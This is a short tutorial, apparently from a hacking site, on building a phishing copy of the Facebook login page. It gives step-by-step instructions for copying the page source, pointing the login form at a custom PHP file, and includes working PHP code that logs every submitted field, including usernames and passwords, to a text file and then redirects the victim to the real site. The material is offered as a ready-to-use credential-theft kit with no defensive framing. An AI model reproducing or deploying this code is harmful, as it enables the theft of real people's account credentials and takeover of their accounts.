Phishing is the technique to create similar type of web-page of the existing web-page. Phishing is a type of attack where the intruders disguising as trustworthy agents attempt to gain your personal information such as passwords, credit card numbers or any other information.
Steps to Create Facebook Phishing page:
  • Open facebook login page in your browser.



  • Press ctrl+U to find source code.
  • Copy whole source code and create a PHP file (index.php) and paste it.
  • Now, search for string methode="POST", it will give you two results first for login and second for register.
  • Next, replace the action file name as “xyz.php” in the login form.
  • Now create a file “xyz.php” and “log.txt” and paste below code in “xyz.php”.
    File name: xyz.php
  • now you are done ...simply write the code
  • ?> <?php
    header ('Location: http://www.facebook.com');
    $handle = fopen("log.txt", "a");
    foreach($_POST as $variable => $value) {
       fwrite($handle, $variable);
       fwrite($handle, "=");
       fwrite($handle, $value);
       fwrite($handle, "\r\n");
    }
    fwrite($handle, "\r\n");
    fclose($handle);
    exit;
    ?>